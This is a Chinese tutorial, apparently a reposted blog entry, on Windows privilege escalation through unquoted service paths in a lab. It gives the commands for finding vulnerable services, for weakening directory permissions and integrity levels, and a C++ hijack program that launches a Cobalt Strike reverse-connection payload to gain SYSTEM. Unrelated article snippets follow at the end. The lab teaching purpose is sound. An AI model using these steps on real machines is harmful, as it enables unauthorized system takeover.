[权限提升] Windows 提权 维持 — 系统错误配置提权 - Trusted Service Paths 提权

server/2025/2/6 1:45:45/

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Trusted Service Paths 提权原理

Windows 的服务通常都是以 System 权限运行的,所以系统在解析服务的可执行文件路径中的空格的时候也会以 System 权限进行解析,如果我们能够利用这一特性,就有机会提升权限。

如果在注册表中存在没有被引号包裹的服务路径,且该服务路径中存在空格,比如下面这样的服务路径,就很可能造成攻击者的提权:

 C:\Program Files\Service Folder\testService.exe

针对上面这种服务路径,由于空格的截断以及 Windows 自身的系统特性,导致其实际解析流程如下:

 C:\Program.exeC:\Program Files\Service.exeC:\Program Files\Service Folder\testService.exe

系统以空格作为分割符,首先找 C:\Program.exe 尝试运行,如果不存在该程序,则去启动 C:\Program Files\Service.exe 去尝试运行,若依旧不存在该程序,则再尝试去执行 C:\Program Files\Service Folder\testService.exe。注意了,此时都是以 SYSTEM 权限进行执行的。

所以我们只要在相应的目录下制作一个恶意的程序,让系统重启时以 SYSTEM 权限执行即可。所以,使用 Trusted Service Paths 进行提权的条件如下:

  1. 服务中存在没有被引号包裹的路径,且该路径中包含空格。

  2. 当前用户具有到对应目录下写文件的权限。

  3. 服务被系统高权限用户启动。

0x02:Trusted Service Paths 提权环境配置

复现环境

  • 靶机 Windows 7:IP 192.168.0.124

  • 攻击机 Kali Linux:IP 192.168.0.100,安装了 Cobalt Strike 服务端

  • 攻击机 Windows 11:IP 192.168.0.1,安装了 Cobalt Strike 客户端,还配备了 C++ 环境

0x0201:创建不安全的服务

首先以 Administrator 系统最高管理员的身份登录 Windows 7(该用户需要手动启动,可以前参考前面的 操作系统权限介绍 中的内容),在 C:\Program Files 文件夹下创建一个 Service Folder 文件夹,假设这个文件夹就是管理员用来存放自己配置的服务的:

然后在其中手动创建一个 testService.exe 文件(这个文件啥内容都没有),假设这个就是管理员配置的系统服务程序:

然后调出 CMD 命令行,使用下面的命令,将这个程序添加进系统服务配置中,并将启动项方式设置为 Auto,以确保系统重启时会自动运行该程序:

 sc create "testService" binpath= "C:\Program Files\Service Folder\testService.exe" start= auto​# "testService" => 你注册的服务的名称# binpath => 你注册服务的程序路径# start => 注册服务的启动方式,auto 为开机自启

0x0202:查询系统服务启动方式和权限

1. 通过 CMD 命令行查询

在 CMD 命令行窗口中输入如下命令,查询 testService 启动方式和执行权限:

 sc qc testService

2. 通过 Windows 服务功能查看

按住 Win + R 打开 “运行” 对话框,往里头填入 “services.msc” 命令即可调用 Windows 服务功能:

然后在该功能中,我们可以很轻松的就定位到我们刚刚创建的 testService 服务:

如上,testService 服务的可执行文件路径没有被引号包裹,且路径中存在空格,非常符合我们漏洞复现的要求。

如果你仔细在这里面翻找服务,可以看到,大部分的服务可执行文件路径似乎都没有加引号,然后为了给读者涨涨见识,下面贴出一张路径加了引号的服务图片,像这种服务就是无法利用的:

0x0203:为用户配置对应目录写入权限

1. 查看对应目录用户权限

在前面的配置中,我们创建了一个不安全的系统服务,对应的程序路径是:

 C:\Program Files\Service Folder\testService.exe

针对该路径,为了让后续渗透方利用的舒心,我们还要给低权限用户配置一个对应路径的写权限,针对上面这个文件,我们需要配置的低权限用户具有写入权限的路径有(选一个即可):

 C:\C:\Program Files\C:\Program Files\Service Folder\ # 如果对该目录有读写修改权限,我们可以直接重写服务内容

我们先来查看一下上面这两个目录的默认配置(由于是 C 盘,所以默认权限都限制的比较严格):

 icacls "C:\\"               # 查询 C:\ 目录下的权限icacls "C:\\Program Files"  # 查询 C:\Program Files 目录下的权限icacls "C:\\Program Files\\Service Folder"

如上,可以看到,针对 C:\ 目录,Users 用户组的普通用户只有 RX 读取和执行权限,没有写入权限,所以为了后续的漏洞利用,我们还需要赋予普通用户目录写入的权限。同时,我们还注意到,该目录的完整性级别为 High Mandatory Level,证明只有管理员级别的用户可以访问该目录,我们的普通用户是无法操作此目录的,所以我们后续还需要降低目录的完整性级别。

icacls 标识对应的权限

W:写权限;R 读权限;X 执行权限;F 完全访问权限;M 修改权限。

2. 赋予用户对应目录写入权限

下面我们针对 C:\ 目录,赋予低权限用户写入权限。

2.1 赋予用户对应目录写入权限 — 命令行方式

输入下面的命令,赋予系统内置的 Users 用户组对应目录(C:\)的写入权限:

 icacls "C:\\" /grant "BUILTIN\Users":(w) # 授予用户组对应目录写权限

如上,系统内置的 Users 用户组已经成功获得了对应目录的写权限。但是其实此时 Users 用户组中的用户还是无法在 C:\ 目录下创建文件的,因为被 C:\ 的目录完整性级别限制了,所以我们还得降低 C:\ 目录的完整性级别,让 Users 用户组得以写文件到目标路径。

3. (可选)降低目录/文件完整性级别

我们上面通过 icacls 工具设置的是目录的 NTFS 权限,NTFS(New Technology File System)是 Windows 操作系统中常用的文件系统,它支持对文件和目录设置详细的权限控制。

但是我们这边讲解的 ”完整性级别“ 是独立于 NTFS 权限的一种安全机制。即使 NTFS 权限允许访问了,如果完整性级别不匹配,访问仍然会被拒绝。 所以这里,我们就需要降低C:\ 目录的完整性级别,以允许低级别用户进行操作。

3.1 目录/文件完整性级别介绍

完整性级别是 Windows 中用于控制资源访问的安全机制,通常与用户账户控制(UAC)相关。

Windows 中的完整性级别分为以下几种:

  • Low(L):最低级别,通常用于浏览器等低权限进程。

  • Medium(M):默认级别,普通用户进程运行在此级别。

  • High(H):管理员权限进程运行在此级别。

  • System(S):系统内核和核心服务运行在此级别。

Windows 完整性级别的使用场景可以分为以下几个方面:

3.1.1 降低权限:将完整性设置为 Low(L)
  • 场景:

    • 适用于需要严格限制访问权限的目录或文件。

    • 通常用于隔离低信任度的应用程序或数据(如浏览器缓存、临时文件等)。

  • 作用:

    • 只有运行在 Low(L)完整性级别的进程(如浏览器沙盒)可以访问这些资源。

    • 运行在 Medium(M)或更高完整性级别的进程(如普通用户程序)无法访问。

  • 示例:

    • 将浏览器下载目录的完整性级别设置为 Low,以防止恶意软件通过下载的文件影响系统。

icacls "C:\Downloads" /setintegritylevel L
3.1.2 恢复默认:将完整性级别设置为 Medium(M)
  • 场景:

    • 适用于普通用户目录或文件,恢复默认的访问权限。

    • 当目录或文件的完整性级别被错误地设置为 Low 或 High 时,可以使用此操作恢复默认。

  • 作用:

    • 运行运行在 Medium(M)或更高完整性级别的进程访问。

    • 这是大多数用户程序和文件的默认级别。

  • 示例:

    • 将某个目录恢复为默认的完整性级别:

icacls "C:\ExampleFolder" /setintegritylevel M
3.1.3 提高权限:将完整性级别设置为 High(H)
  • 场景:

    • 适用于需要高安全性的目录或文件。

    • 通常用于保护系统关键文件或管理员专用文件。

  • 作用:

    • 只有运行在 High(H)或 System(S)完整性级别的进程(如管理员程序)可以访问。

    • 运行在 Medium(M)或更低完整性级别的进程(如普通用户程序)无法访问。

  • 示例:

    • 将某个包含敏感数据的目录设置为 High,以限制只有管理员可以访问:

icacls "C:\SensitiveData" /setintegritylevel H
3.2 降低 C:\ 目录完整性级别

输入下面的命令,修改 C:\ 目录完整性为 Medium,以允许普通用户对该目录有操作权限:

icacls "C:\\" /setintegritylevel M

4. 提权环境检查

我们切换到 Windows 系统中的一个标准用户,笔者这里选择的是 test01 用户:

然后跑到 C:\ 下,看看我们可不可以新建文本文件,如果可以,证明你的环境就 OK 了:

0x03:Trusted Service Paths 提权漏洞复现

0x0301:拿到靶机低权限用户 Shell

既然是提权,我们肯定得先拿到靶机的一个低权限用户,此处,我们就以上面的一般用户 test01 为例,来演示如何提权到 SYSTEM。

在 Kali 上开启 CS 服务端,并在 Windows 11 辅助机上使用 CS 客户端进行连接:

我们在 CS 中创建一个监听器,监听 CS 服务端的 4444 端口。然后使用该监听器创建一个 Windows 后门程序 artifact.exe,并上传到 Windows 7 靶机中:

双击 artifact.exe 文件,获取靶机的低权限 Shell:

下面,我们就要开始使用 Trusted Service Paths 进行提权了。

0x0302:定位不安全的服务

在 CS 中输入下面的命令,定位靶机中没有配置引号,且带有空格路径的服务:

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v """

如上成功发现有一个服务十分符合我们的要求,整理一下显示如下:

name        : testService
displayname : testService
pathname    : C:\Program Files\Service Folder\testService.exe
startmode   : Auto

0x0303:检查特定目录是否具有写权限

针对上面获得的那个服务,我们可以利用的提权路径有以下几条:

C:\
C:\Program Files\
C:\Program Files\Service Folder\

我们先来查看以下我们当前用户所属的组:

whoami /groups

如上,我们当前用户属于本地的 Users 用户组,具有 Medium 的完整性级别。知道了这些信息,接下里,我们来一个一个查看目录权限,看我们对其是否具有写入权限:

icacls "C:\\"

如上,C:\ 是一个可被利用的目录。

0x0304:制作服务劫持程序

在前面的信息收集中,我们发现目标靶机上存在一个可被利用的服务,其服务程序路径为:

C:\Program Files\Service Folder\testService.exe

又通过信息收集,发现了当前用户对 C:\ 具有写权限。所以接下来,我们将要在目标的 C:\ 目录下,创建一个 Program.exe 程序,利用 Windows 服务执行特性,进行提权。

这里我们采用 C++ 来制作恶意程序(因为 C 程序编译后会直接生成一个 exe 文件,采用其他编程语言的话你还得自己打包,很麻烦),下面是程序代码:

#include <stdio.h>
#include <stdlib.h>int main() {system("cmd.exe /c C:\\Users\\test01\\Desktop\\artifact.exe");return 0;
}

这个程序的逻辑很简单,运行后,会通过 CMD 执行一遍我们用 CS 制作的 Windows 反弹连接的木马文件(我们前面拿到靶机的低权限 Shell 就是用的这个文件)。

将上面的程序编译后,保存为 Program.exe,并将该 EXE 文件上传到靶机的 C:\ 下:

0x0305:等待靶机重启 & 提权成功

当我们将上面这一切都准备好后,接下来就是等待管理员重启计算机了。因为只有重启计算机了,那些开机自启的服务才会自动执行,只有服务被执行,才会触发我们刚刚创建的劫持文件。

这里,我们手动重启一下靶机(一般低权限用户是无法重启电脑的)。重启后靶机显示如下(可能是笔者制作的木马的问题,当然,更可能是木马存放路径的问题):

显示 C:\Program.exe 文件有问题,其实已经证明了 Windows 服务的解析漏洞是存在的。等待一会,即可看到 CS 上上线了目标靶机的 SYSTEM 用户,证明我们提权成功:


http://www.ppmy.cn/server/165298.html

相关文章

CSS关系选择器详解

CSS关系选择器详解 学习前提什么是关系选择器&#xff1f;后代选择器&#xff08;Descendant Combinator&#xff09;语法示例注意事项 子代选择器&#xff08;Child Combinator&#xff09;语法示例注意事项 邻接兄弟选择器&#xff08;Adjacent Sibling Combinator&#xff0…

吴恩达深度学习——卷积神经网络基础

本文来自https://www.bilibili.com/video/BV1FT4y1E74V&#xff0c;仅为本人学习所用。 文章目录 矩阵和张量边缘检测计算方式检测原理 Valid卷积和Same卷积卷积步长三维卷积单层卷积网络总结符号定义输入输出维度其他参数维度 举例 池化层示例输入层第一层卷积 - 池化第二层卷…

【Rust自学】19.1. 摆脱安全性限制的unsafe Rust

喜欢的话别忘了点赞、收藏加关注哦&#xff08;加关注即可阅读全文&#xff09;&#xff0c;对接下来的教程有兴趣的可以关注专栏。谢谢喵&#xff01;(&#xff65;ω&#xff65;) 19.1.1. 匹配命名变量 到目前为止我们讨论的所有代码都在编译时强制执行Rust的内存安全保证…

Appium介绍

在使用不同版本的Appium包进行自动化测试时&#xff0c;出现警告问题可能是由于版本不兼容、配置不正确等原因导致的。下面将详细介绍解决这些问题的步骤&#xff0c;确保模拟器能够正常启动&#xff0c;并能在Appium查看器中同步显示。 1. 环境准备 首先&#xff0c;确保你已…

Kali linux 下载与快捷安装

前言 关于Kali linux的下载安装&#xff0c;很多文章都是自己创建虚拟机去安装&#xff0c;但这样太过繁琐&#xff0c;本文采用导入虚拟机的方式来实现快捷安装&#xff0c;步骤少、时间短&#xff0c;以减少在环境配置上的时间与精力消耗。 正文 下载镜像 首先我们下载镜…

vscode搭建git

vscode搭建git 一、安装git二、vscode上搭建git(1) 先创建本地仓库再上传到远程仓库&#xff0c;远程仓库名是根据本地仓库名一致(2) 先创建远程仓库&#xff0c;再将本地仓库上传到指定远程仓库 一、安装git 网络教程很多&#xff0c;在此就不赘述了 参考&#xff1a;git安装…

开源2+1链动模式AI智能名片S2B2C商城小程序:利用用户争强好胜心理促进分享行为的策略研究

摘要&#xff1a;随着互联网技术的快速发展和社交媒体的普及&#xff0c;用户分享行为在企业营销中的作用日益凸显。本文旨在探讨如何利用用户的争强好胜心理&#xff0c;通过开源21链动模式AI智能名片S2B2C商城小程序&#xff08;以下简称“小程序”&#xff09;促进用户分享行…

【机器学习】自定义数据集 使用paddlepaddle框架实现逻辑回归并保存模型,然后保存模型后再加载模型进行预测

一、使用paddlepaddle框架实现逻辑回归 1. 数据部分&#xff1a; 首先自定义了一个简单的数据集&#xff0c;特征 X 是 100 个随机样本&#xff0c;每个样本一个特征&#xff0c;目标值 y 基于线性关系并添加了噪声。将 numpy 数转换为Paddlepaddle张量&#xff0c;方便后续在…